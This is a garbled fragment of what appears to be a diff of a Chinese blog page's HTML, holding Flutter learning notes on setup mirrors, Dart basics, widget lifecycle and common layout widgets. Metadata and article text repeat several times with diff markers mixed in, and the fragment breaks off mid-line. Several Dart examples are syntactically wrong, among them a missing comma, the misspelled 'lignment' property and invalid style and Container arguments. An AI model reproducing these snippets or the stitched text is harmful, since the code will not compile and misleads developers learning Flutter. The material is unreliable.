primarySwatch: Colors."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/141/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-03-22T12:00:00+00:00"><meta property="article:modified_time" content="2022-03-22T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Flutter框架学习笔记"><meta name=twitter:description content="Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用
+void main() => runApp(MyApp()); class MyApp extends StatelessWidget{ @override Widget build(BuildContext context){ return MaterialApp( title: &#34;hallo word&#34;, // app的title theme: ThemeData( primarySwatch: Colors."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/141/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-03-22T12:00:00+00:00"><meta property="article:modified_time" content="2022-03-22T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Flutter框架学习笔记"><meta name=twitter:description content="Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用
 闲鱼和Now直播，美团，快手都使用了Flutter
 获取Flutter
 https://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip
@@ -104,98 +104,98 @@
 运行后可以看到一个title以及内容都为Hallo word的app
 flutter自带了可视化工具，Dart DevTools
 自己写一个main.dart
-void main() => runApp(MyApp());
class MyApp extends StatelessWidget{
@override
Widget build(BuildContext context){
return MaterialApp(
title: &#34;hallo word&#34;, // app的title
theme: ThemeData(
primarySwatch: Colors."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Flutter框架学习笔记","item":"https://xiaochenabc123.github.io/posts/141/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Flutter框架学习笔记","name":"Flutter框架学习笔记","description":"Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用\n闲鱼和Now直播，美团，快手都使用了Flutter\n获取Flutter\nhttps://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip\n添加path环境变量\n由于Flutter库是在google那，因此需要设置第三方可信镜像库\n设置PUB_HOSTED_URL和FLUTTER_STORAGE_BASE_URL环境变量\nPUB_HOSTED_URL设置为https://pub.flutter-io.cn\nFLUTTER_STORAGE_BASE_URL设置为https://storage.flutter-io.cn\n（flutter-io.cn所提供的镜像由中国的Flutter开发者社区提供和维护）\n其他可信第三方镜像库：\n腾讯云镜像\nPUB_HOSTED_URL（https://mirrors.cloud.tencent.com/dart-pub） FLUTTER_STORAGE_BASE_URL（https://mirrors.cloud.tencent.com/flutter）\n清华大学镜像\nPUB_HOSTED_URL（https://mirrors.tuna.tsinghua.edu.cn/dart-pub） FLUTTER_STORAGE_BASE_URL（https://mirrors.tuna.tsinghua.edu.cn/flutter）\n添加Flutter环境变量path，解压路径\\flutter\\bin\n执行where.exe flutter dart，如果有反应，说明path环境配置完成\n（如果要开发安卓的话，需要安装jdk，Android Studio，Android Jdk，可执行flutter doctor检查依赖（如果是X表示没依赖，需要安装））\n这里用Visual Studio Code的Flutter插件\n创建第一个demo（项目名必须全小写，可用_下划线）\nflutter create flutterdemo\n启动项目（编译执行）\nflutter run\nDart是静态类型语言，它会在定义时绑定数据类型（var）\nDart允许一个类中有多个构造函数，在new初始化时，可选择类的某个构造函数\nDart库管理（pub.dev）,在pubspec.yaml添加库\n实质上Dart和JavaScript很相似，只是它有抽象和泛型（ts也有泛型，抽象类就是类似于golang的接口，只定义不实现）\nDart也是单线程执行，主线程外也有宏任务队列和事件队列（可以理解为JavaScript中的宏任务）\nDart执行过程：执行main()函数，判断是微任务还是事件队列，是微任务则插入微任务队列，是宏任务则插入宏任务队列，执行完成后（主线程），会执行微任务队列和事件队列，以及判断微任务队列和事件队列是否为空，当为空时程序执行结束\nflutter项目下的lib/main.dart，class MyApp类下\n修改为 home: const MyHomePage(title: \u0026lsquo;Hallo word\u0026rsquo;), // 当前title信息\n在return Scaffold下的body: Center下的，修改为children: [const Text(\u0026lsquo;Hallo word\u0026rsquo;,),\n运行后可以看到一个title以及内容都为Hallo word的app\nflutter自带了可视化工具，Dart DevTools\n自己写一个main.dart\nvoid main() =\u0026gt; runApp(MyApp());\rclass MyApp extends StatelessWidget{\r@override\rWidget build(BuildContext context){\rreturn MaterialApp(\rtitle: \u0026quot;hallo word\u0026quot;, // app的title\rtheme: ThemeData(\rprimarySwatch: Colors.","keywords":["Flutter"],"articleBody":"Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用\n闲鱼和Now直播，美团，快手都使用了Flutter\n获取Flutter\nhttps://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip\n添加path环境变量\n由于Flutter库是在google那，因此需要设置第三方可信镜像库\n设置PUB_HOSTED_URL和FLUTTER_STORAGE_BASE_URL环境变量\nPUB_HOSTED_URL设置为https://pub.flutter-io.cn\nFLUTTER_STORAGE_BASE_URL设置为https://storage.flutter-io.cn\n（flutter-io.cn所提供的镜像由中国的Flutter开发者社区提供和维护）\n其他可信第三方镜像库：\n腾讯云镜像\nPUB_HOSTED_URL（https://mirrors.cloud.tencent.com/dart-pub） FLUTTER_STORAGE_BASE_URL（https://mirrors.cloud.tencent.com/flutter）\n清华大学镜像\nPUB_HOSTED_URL（https://mirrors.tuna.tsinghua.edu.cn/dart-pub） FLUTTER_STORAGE_BASE_URL（https://mirrors.tuna.tsinghua.edu.cn/flutter）\n添加Flutter环境变量path，解压路径\\flutter\\bin\n执行where.exe flutter dart，如果有反应，说明path环境配置完成\n（如果要开发安卓的话，需要安装jdk，Android Studio，Android Jdk，可执行flutter doctor检查依赖（如果是X表示没依赖，需要安装））\n这里用Visual Studio Code的Flutter插件\n创建第一个demo（项目名必须全小写，可用_下划线）\nflutter create flutterdemo\n启动项目（编译执行）\nflutter run\nDart是静态类型语言，它会在定义时绑定数据类型（var）\nDart允许一个类中有多个构造函数，在new初始化时，可选择类的某个构造函数\nDart库管理（pub.dev）,在pubspec.yaml添加库\n实质上Dart和JavaScript很相似，只是它有抽象和泛型（ts也有泛型，抽象类就是类似于golang的接口，只定义不实现）\nDart也是单线程执行，主线程外也有宏任务队列和事件队列（可以理解为JavaScript中的宏任务）\nDart执行过程：执行main()函数，判断是微任务还是事件队列，是微任务则插入微任务队列，是宏任务则插入宏任务队列，执行完成后（主线程），会执行微任务队列和事件队列，以及判断微任务队列和事件队列是否为空，当为空时程序执行结束\nflutter项目下的lib/main.dart，class MyApp类下\n修改为 home: const MyHomePage(title: ‘Hallo word’), // 当前title信息\n在return Scaffold下的body: Center下的，修改为children: [const Text(‘Hallo word’,),\n运行后可以看到一个title以及内容都为Hallo word的app\nflutter自带了可视化工具，Dart DevTools\n自己写一个main.dart\nvoid main() =\u003e runApp(MyApp());\rclass MyApp extends StatelessWidget{\r@override\rWidget build(BuildContext context){\rreturn MaterialApp(\rtitle: \"hallo word\", // app的title\rtheme: ThemeData(\rprimarySwatch: Colors.orange, // 页面的主题颜色\r)\rhome: Scaffold(\rappBar: AppBar(\rtitle: Text(\"hallo word\"), // 当前页面的title\r),\rbody: Center(\rchild: Text('hallo flutter'), // 当前页面的文本\r),\r),\r);\r}\r}\rflutter run\n（热更新，在执行中输入r或者R）（按p为显示网格，按q为退出，按o为切换android和ios的预览模式）\n这边用安卓实机调试（也可以用安卓模拟器，例如夜神模拟器）\n使用flutter devices命令检查是否寻找到该机，记得开启开发者模式，打开调试，允许调试，开启允许USB安装，数据线连接到电脑，并且安装和实机（虚拟机）中的安卓版本sdk，如果官网打不开，可去https://www.androiddevtools.cn/下载或者在Android Studio中安装，下载安装Google USB Driveer（也可以在Android Studio中安装）\nflutter生命周期\nflutter组件分为无状态组件和有状态组件，无状态组件就是单纯显示内容的，没有逻辑计算，因此只渲染一次，有状态组件就是具备逻辑交互功能的组件，会因为数据发生变化而多次渲染，这个概念和JavaScript是一样的\n无状态组件的生命周期只有一个，build\n有状态组件生命周期分别为\ncreateState：该钩子在StatefulWidget中创建State的方法，当StatefulWidget被调用时会立即执行 createState\ninitState：该钩子为State初始化调用，一般用来初始化State变量的赋值，与服务端交互获取服务端数据以后调用setState来设置初始化State。\ndidChangeDependencies：该钩子在该组件依赖的State发生变化时会被调用（这里的State发生变化指全局State变化，例如当InheritedWidget发送变化），build跟着触发\nbuild：返回需要渲染的Widget，一般有来返回Widget相关逻辑，build会被调用多次\nsetState：当状态发送变化时触发，该钩子被执行后，必然会调用build钩子\nreassemble：该钩子在debug模式下，每次热重载都会执行该钩子，一般来用做一些debug操作\ndidUpdateWidget：该钩子主要是在组件重新构建时调用，例如热重载，该钩子被执行后，必然会调用build钩子\ndeactivate：该钩子在组件被移除节点后会被调用，如果没有插入到其他节点，会继续触发dispose钩子\ndispose：永久移除该组件，释放组件资源，一个组件的生命终点\n在无状态组件中，执行阶段中只有build，也只会执行build函数钩子，因此执行和效率比有状态组件好\n注意：当动态组件更新时，将导致其子组件更新，导致性能问题\n常见组件：\nText: 渲染文本组件\nImage :图片显示组件\nIcon : Icon库组件\nAppBar：页面导航条组件\nRow: 布局组件，使子元素在水平方横向布局\nColumn: 布局组件，使子元素在水平方向纵向布局\nContainer: 容器组件\nExpanded：控制flex布局的占位（用在row或者column组件内部）\nStack：层叠布局组件，在当前组件层叠另一层（和css的z-index类似）\nFadeInImage：加载时的占位组件\nPadding：填充空白区域组件，和css的padding效果类似\nClipRRect：圆角组件，可将子组件处理成圆边角\nText组件，它有TextAlign属性，maxLines属性，overflow属性，style属性\nTextAlign属性就是定义文本对齐方式的，例如：\nchild:Text(\r'hallo word',\rtextAlign:TextAlign.center,\r)\rleft左，center居中，right右\nmaxLines属性是定义文本显示的最大行数数，例如：\nchild:Text(\r'hallo word',\rtextAlign:TextAlign.center,\rmaxLines: 1,\r)\roverflow属性是定义文本溢出时的处理方式，例如：\nchild:Text(\r'hallo word',\rtextAlign:TextAlign.center,\rmaxLines: 1,\roverflow: TextOverflow.ellipsis,\r)\r注意：Text组件是没有宽度的，文本会撑开Text组件，因此还需要搭配Container组件使用，例如：\nContainer(\rwidth: 10,\rchild: Text(\r\"hallo wordhallo wordhallo wordhallo wordhallo wordhallo word\",\rtextAlign: TextAlign.left,\roverflow: TextOverflow.ellipsis,\rmaxLines: 1,\r),\r),\rstyle属性可以理解成Flutter组件的css（实质上效果都类似css），例如：\nchild:Text(\r'hallo word',\rtextAlign: TextAlign.center,\rstyle: TextStyle(\rfontSize: 20.0, // 字体大小20\rcolor: Colors.red, // 字体颜色为红色\rdecoration: TextDecoration.underline, // 文本下划线\r),\r)\rContainer组件，有Alignment属性，padding属性，margin属性和decoration属性\nContainer组件宽度和高度，以及颜色可直接通过width和height属性，color属性来定义\nAlignment属性：该属性是定义Container组件的内容的对齐方式，例如：\nchild:Container(\rchild:new Text('hallo word',style: color: Colors.red,),\rlignment: Alignment.center,\r),\r该属性可设置头部对齐方式，底部对齐方式，水平对齐方式，例如topCenter，center，bottomCenter\npadding属性：该属性定义Container组件边缘和子内容的距离，和css的内边距类似，例如：\nchild:Container(\rchild:new Text('hallo word',style: color: Colors.red,),\rlignment: Alignment.center,\rpadding:const EdgeInsets.all(20.0), // 上下左右边距都为20\r),\r如果想单独设置，可padding:const EdgeInsets.fromLTRB(10.0,20.0,30.0,40.0),\n这4个值分别表示左，上，右，下\nmargin属性，自然是定义外边距的，例如margin: const EdgeInsets.all(20.0),\ndecoration属性，用于定义背景，边框，例如：\nchild:Container(\rchild:new Text('hallo word',style: color: Colors.red,),\rlignment: Alignment.center,\rpadding:const EdgeInsets.all(20.0), // 上下左右边距都为20\rdecoration:new BoxDecoration(\rgradient:const LinearGradient(\rcolors:[\rColors.red, // 红色到黑色的渐变\rColors.black,\r]\r),\rborder:Border.all(width:3.0,color:Colors.black) // 黑色边框，边框宽度为3\r),\r),\rImage组件，加载图片有4种方式，分别为：\nImage.asset 加载项目内图片（相对） Image.file 加载本地图片（绝对） Image.memory 加载Uint8List资源图片 Image.network 加载网络图片\n加载网络图片，例如：\nchild:new Image.network(\r'http://xiaochenabc123.test.com/1.jpg',\r),\r加载本地（或者项目）内图片，例如：\nchild:new Image.file(\rFile(\"./1.jpg\")\r)\rImage组件的ImageRepeat属性和fit属性\nImageRepeat属性可设置图片重复，例如铺满整个容器，fit属性可设置图片的拉伸和挤压，例如：全图显示，拉伸填满整个容器\n例子：\nchild:new Image.network(\r'http://xiaochenabc123.test.com/1.jpg',\r// ImageRepeat: ImageRepeat.repeat // 横向和纵向重复，直到填满容器\rfit: BoxFit.contain // 显示原比例图片\r),\rImageRepeat.repeat: 横向和纵向重复，填满整个容器 ImageRepeat.repeatX: 横向重复，纵向不重复 ImageRepeat.repeatY：纵向重复，横向不重复\nBoxFit.fill: 图片拉伸，并填满父容器。 BoxFit.contain: 显示原比例图片 BoxFit.cover：可能拉伸，裁切（图片填满整个容器，但是不变形） BoxFit.fitWidth：宽度充满（横向填满），图片可能拉伸，裁切 BoxFit.fitHeight ：高度充满（竖向填满）,图片可能拉伸，裁切 BoxFit.scaleDown：显示原比例图片，但是此属性不允许超过源图片大小\nRow组件：水平布局组件，该组件又分为灵活布局和非灵活布局\n灵活布局：使用Expanded（类似于flex效果），解决非灵活布局的空余或者溢出的情况\n非灵活布局：当子元素不足填满时，会有空余位置，当子元素溢出位置了，会警告\n例如：\nbody: Row(\rchildren: [\rExpanded(\rflex: 1,\rchild: Container(\rColors.black,\r),\r),\rExpanded(\rflex: 2,\rchild: Container(\rColors.red,\r),\r),\r] )\rColumn组件：垂直布局组件，例如：\nbody: Column(\rchildren: [\rText('hallo word'),\rText('chenjunlinabc'),\r],\rcrossAxisAlignment: CrossAxisAlignment.start,\rmainAxisAlignment: MainAxisAlignment.center,\r),\rCrossAxisAlignment.star：向左对齐 CrossAxisAlignment.end：向右对齐 CrossAxisAlignment.center：居中对齐\nRow和Column组件都存在主轴（main）和纵轴（Cross）\n主轴（main）：在Row组件中水平就是主轴，在Column组件中垂直就是主轴，\n纵轴（Cross）：和主轴（main）相反，在Row组件中垂直就是纵轴，在Column组件中水平就是纵轴\nStack组件\nStack(\rchildren: [\rContainer(\rwidth: 100,\rheight: 100,\rcolor: Colors.red,\r),\rContainer(\rwidth: 50,\rheight: 50,\rcolor: Colors.black,\r),\r],\r),\r可以看到上面的两个子组件相交在一起了，Stack组件一样有Alignment属性，来表示对齐方式\n","wordCount":"405","inLanguage":"en","datePublished":"2022-03-22T12:00:00Z","dateModified":"2022-03-22T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/141/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Flutter框架学习笔记</h1><div class=post-meta><span title='2022-03-22 12:00:00 +0000 UTC'>2022-03-22</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Flutter%e6%a1%86%e6%9e%b6%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用</p><p>闲鱼和Now直播，美团，快手都使用了Flutter</p><p>获取Flutter</p><p><a href=https://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip>https://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip</a></p><p>添加path环境变量</p><p>由于Flutter库是在google那，因此需要设置第三方可信镜像库</p><p>设置PUB_HOSTED_URL和FLUTTER_STORAGE_BASE_URL环境变量</p><p>PUB_HOSTED_URL设置为https://pub.flutter-io.cn</p><p>FLUTTER_STORAGE_BASE_URL设置为https://storage.flutter-io.cn</p><p>（flutter-io.cn所提供的镜像由中国的Flutter开发者社区提供和维护）</p><p>其他可信第三方镜像库：</p><p>腾讯云镜像</p><p>PUB_HOSTED_URL（https://mirrors.cloud.tencent.com/dart-pub）
+void main() => runApp(MyApp()); class MyApp extends StatelessWidget{ @override Widget build(BuildContext context){ return MaterialApp( title: &#34;hallo word&#34;, // app的title theme: ThemeData( primarySwatch: Colors."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Flutter框架学习笔记","item":"https://chenjunlinabc.github.io/posts/141/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Flutter框架学习笔记","name":"Flutter框架学习笔记","description":"Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用\n闲鱼和Now直播，美团，快手都使用了Flutter\n获取Flutter\nhttps://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip\n添加path环境变量\n由于Flutter库是在google那，因此需要设置第三方可信镜像库\n设置PUB_HOSTED_URL和FLUTTER_STORAGE_BASE_URL环境变量\nPUB_HOSTED_URL设置为https://pub.flutter-io.cn\nFLUTTER_STORAGE_BASE_URL设置为https://storage.flutter-io.cn\n（flutter-io.cn所提供的镜像由中国的Flutter开发者社区提供和维护）\n其他可信第三方镜像库：\n腾讯云镜像\nPUB_HOSTED_URL（https://mirrors.cloud.tencent.com/dart-pub） FLUTTER_STORAGE_BASE_URL（https://mirrors.cloud.tencent.com/flutter）\n清华大学镜像\nPUB_HOSTED_URL（https://mirrors.tuna.tsinghua.edu.cn/dart-pub） FLUTTER_STORAGE_BASE_URL（https://mirrors.tuna.tsinghua.edu.cn/flutter）\n添加Flutter环境变量path，解压路径\\flutter\\bin\n执行where.exe flutter dart，如果有反应，说明path环境配置完成\n（如果要开发安卓的话，需要安装jdk，Android Studio，Android Jdk，可执行flutter doctor检查依赖（如果是X表示没依赖，需要安装））\n这里用Visual Studio Code的Flutter插件\n创建第一个demo（项目名必须全小写，可用_下划线）\nflutter create flutterdemo\n启动项目（编译执行）\nflutter run\nDart是静态类型语言，它会在定义时绑定数据类型（var）\nDart允许一个类中有多个构造函数，在new初始化时，可选择类的某个构造函数\nDart库管理（pub.dev）,在pubspec.yaml添加库\n实质上Dart和JavaScript很相似，只是它有抽象和泛型（ts也有泛型，抽象类就是类似于golang的接口，只定义不实现）\nDart也是单线程执行，主线程外也有宏任务队列和事件队列（可以理解为JavaScript中的宏任务）\nDart执行过程：执行main()函数，判断是微任务还是事件队列，是微任务则插入微任务队列，是宏任务则插入宏任务队列，执行完成后（主线程），会执行微任务队列和事件队列，以及判断微任务队列和事件队列是否为空，当为空时程序执行结束\nflutter项目下的lib/main.dart，class MyApp类下\n修改为 home: const MyHomePage(title: \u0026lsquo;Hallo word\u0026rsquo;), // 当前title信息\n在return Scaffold下的body: Center下的，修改为children: [const Text(\u0026lsquo;Hallo word\u0026rsquo;,),\n运行后可以看到一个title以及内容都为Hallo word的app\nflutter自带了可视化工具，Dart DevTools\n自己写一个main.dart\nvoid main() =\u0026gt; runApp(MyApp()); class MyApp extends StatelessWidget{ @override Widget build(BuildContext context){ return MaterialApp( title: \u0026quot;hallo word\u0026quot;, // app的title theme: ThemeData( primarySwatch: Colors.","keywords":["Flutter"],"articleBody":"Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用\n闲鱼和Now直播，美团，快手都使用了Flutter\n获取Flutter\nhttps://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip\n添加path环境变量\n由于Flutter库是在google那，因此需要设置第三方可信镜像库\n设置PUB_HOSTED_URL和FLUTTER_STORAGE_BASE_URL环境变量\nPUB_HOSTED_URL设置为https://pub.flutter-io.cn\nFLUTTER_STORAGE_BASE_URL设置为https://storage.flutter-io.cn\n（flutter-io.cn所提供的镜像由中国的Flutter开发者社区提供和维护）\n其他可信第三方镜像库：\n腾讯云镜像\nPUB_HOSTED_URL（https://mirrors.cloud.tencent.com/dart-pub） FLUTTER_STORAGE_BASE_URL（https://mirrors.cloud.tencent.com/flutter）\n清华大学镜像\nPUB_HOSTED_URL（https://mirrors.tuna.tsinghua.edu.cn/dart-pub） FLUTTER_STORAGE_BASE_URL（https://mirrors.tuna.tsinghua.edu.cn/flutter）\n添加Flutter环境变量path，解压路径\\flutter\\bin\n执行where.exe flutter dart，如果有反应，说明path环境配置完成\n（如果要开发安卓的话，需要安装jdk，Android Studio，Android Jdk，可执行flutter doctor检查依赖（如果是X表示没依赖，需要安装））\n这里用Visual Studio Code的Flutter插件\n创建第一个demo（项目名必须全小写，可用_下划线）\nflutter create flutterdemo\n启动项目（编译执行）\nflutter run\nDart是静态类型语言，它会在定义时绑定数据类型（var）\nDart允许一个类中有多个构造函数，在new初始化时，可选择类的某个构造函数\nDart库管理（pub.dev）,在pubspec.yaml添加库\n实质上Dart和JavaScript很相似，只是它有抽象和泛型（ts也有泛型，抽象类就是类似于golang的接口，只定义不实现）\nDart也是单线程执行，主线程外也有宏任务队列和事件队列（可以理解为JavaScript中的宏任务）\nDart执行过程：执行main()函数，判断是微任务还是事件队列，是微任务则插入微任务队列，是宏任务则插入宏任务队列，执行完成后（主线程），会执行微任务队列和事件队列，以及判断微任务队列和事件队列是否为空，当为空时程序执行结束\nflutter项目下的lib/main.dart，class MyApp类下\n修改为 home: const MyHomePage(title: ‘Hallo word’), // 当前title信息\n在return Scaffold下的body: Center下的，修改为children: [const Text(‘Hallo word’,),\n运行后可以看到一个title以及内容都为Hallo word的app\nflutter自带了可视化工具，Dart DevTools\n自己写一个main.dart\nvoid main() =\u003e runApp(MyApp()); class MyApp extends StatelessWidget{ @override Widget build(BuildContext context){ return MaterialApp( title: \"hallo word\", // app的title theme: ThemeData( primarySwatch: Colors.orange, // 页面的主题颜色 ) home: Scaffold( appBar: AppBar( title: Text(\"hallo word\"), // 当前页面的title ), body: Center( child: Text('hallo flutter'), // 当前页面的文本 ), ), ); } } flutter run\n（热更新，在执行中输入r或者R）（按p为显示网格，按q为退出，按o为切换android和ios的预览模式）\n这边用安卓实机调试（也可以用安卓模拟器，例如夜神模拟器）\n使用flutter devices命令检查是否寻找到该机，记得开启开发者模式，打开调试，允许调试，开启允许USB安装，数据线连接到电脑，并且安装和实机（虚拟机）中的安卓版本sdk，如果官网打不开，可去https://www.androiddevtools.cn/下载或者在Android Studio中安装，下载安装Google USB Driveer（也可以在Android Studio中安装）\nflutter生命周期\nflutter组件分为无状态组件和有状态组件，无状态组件就是单纯显示内容的，没有逻辑计算，因此只渲染一次，有状态组件就是具备逻辑交互功能的组件，会因为数据发生变化而多次渲染，这个概念和JavaScript是一样的\n无状态组件的生命周期只有一个，build\n有状态组件生命周期分别为\ncreateState：该钩子在StatefulWidget中创建State的方法，当StatefulWidget被调用时会立即执行 createState\ninitState：该钩子为State初始化调用，一般用来初始化State变量的赋值，与服务端交互获取服务端数据以后调用setState来设置初始化State。\ndidChangeDependencies：该钩子在该组件依赖的State发生变化时会被调用（这里的State发生变化指全局State变化，例如当InheritedWidget发送变化），build跟着触发\nbuild：返回需要渲染的Widget，一般有来返回Widget相关逻辑，build会被调用多次\nsetState：当状态发送变化时触发，该钩子被执行后，必然会调用build钩子\nreassemble：该钩子在debug模式下，每次热重载都会执行该钩子，一般来用做一些debug操作\ndidUpdateWidget：该钩子主要是在组件重新构建时调用，例如热重载，该钩子被执行后，必然会调用build钩子\ndeactivate：该钩子在组件被移除节点后会被调用，如果没有插入到其他节点，会继续触发dispose钩子\ndispose：永久移除该组件，释放组件资源，一个组件的生命终点\n在无状态组件中，执行阶段中只有build，也只会执行build函数钩子，因此执行和效率比有状态组件好\n注意：当动态组件更新时，将导致其子组件更新，导致性能问题\n常见组件：\nText: 渲染文本组件\nImage :图片显示组件\nIcon : Icon库组件\nAppBar：页面导航条组件\nRow: 布局组件，使子元素在水平方横向布局\nColumn: 布局组件，使子元素在水平方向纵向布局\nContainer: 容器组件\nExpanded：控制flex布局的占位（用在row或者column组件内部）\nStack：层叠布局组件，在当前组件层叠另一层（和css的z-index类似）\nFadeInImage：加载时的占位组件\nPadding：填充空白区域组件，和css的padding效果类似\nClipRRect：圆角组件，可将子组件处理成圆边角\nText组件，它有TextAlign属性，maxLines属性，overflow属性，style属性\nTextAlign属性就是定义文本对齐方式的，例如：\nchild:Text( 'hallo word', textAlign:TextAlign.center, ) left左，center居中，right右\nmaxLines属性是定义文本显示的最大行数数，例如：\nchild:Text( 'hallo word', textAlign:TextAlign.center, maxLines: 1, ) overflow属性是定义文本溢出时的处理方式，例如：\nchild:Text( 'hallo word', textAlign:TextAlign.center, maxLines: 1, overflow: TextOverflow.ellipsis, ) 注意：Text组件是没有宽度的，文本会撑开Text组件，因此还需要搭配Container组件使用，例如：\nContainer( width: 10, child: Text( \"hallo wordhallo wordhallo wordhallo wordhallo wordhallo word\", textAlign: TextAlign.left, overflow: TextOverflow.ellipsis, maxLines: 1, ), ), style属性可以理解成Flutter组件的css（实质上效果都类似css），例如：\nchild:Text( 'hallo word', textAlign: TextAlign.center, style: TextStyle( fontSize: 20.0, // 字体大小20 color: Colors.red, // 字体颜色为红色 decoration: TextDecoration.underline, // 文本下划线 ), ) Container组件，有Alignment属性，padding属性，margin属性和decoration属性\nContainer组件宽度和高度，以及颜色可直接通过width和height属性，color属性来定义\nAlignment属性：该属性是定义Container组件的内容的对齐方式，例如：\nchild:Container( child:new Text('hallo word',style: color: Colors.red,), lignment: Alignment.center, ), 该属性可设置头部对齐方式，底部对齐方式，水平对齐方式，例如topCenter，center，bottomCenter\npadding属性：该属性定义Container组件边缘和子内容的距离，和css的内边距类似，例如：\nchild:Container( child:new Text('hallo word',style: color: Colors.red,), lignment: Alignment.center, padding:const EdgeInsets.all(20.0), // 上下左右边距都为20 ), 如果想单独设置，可padding:const 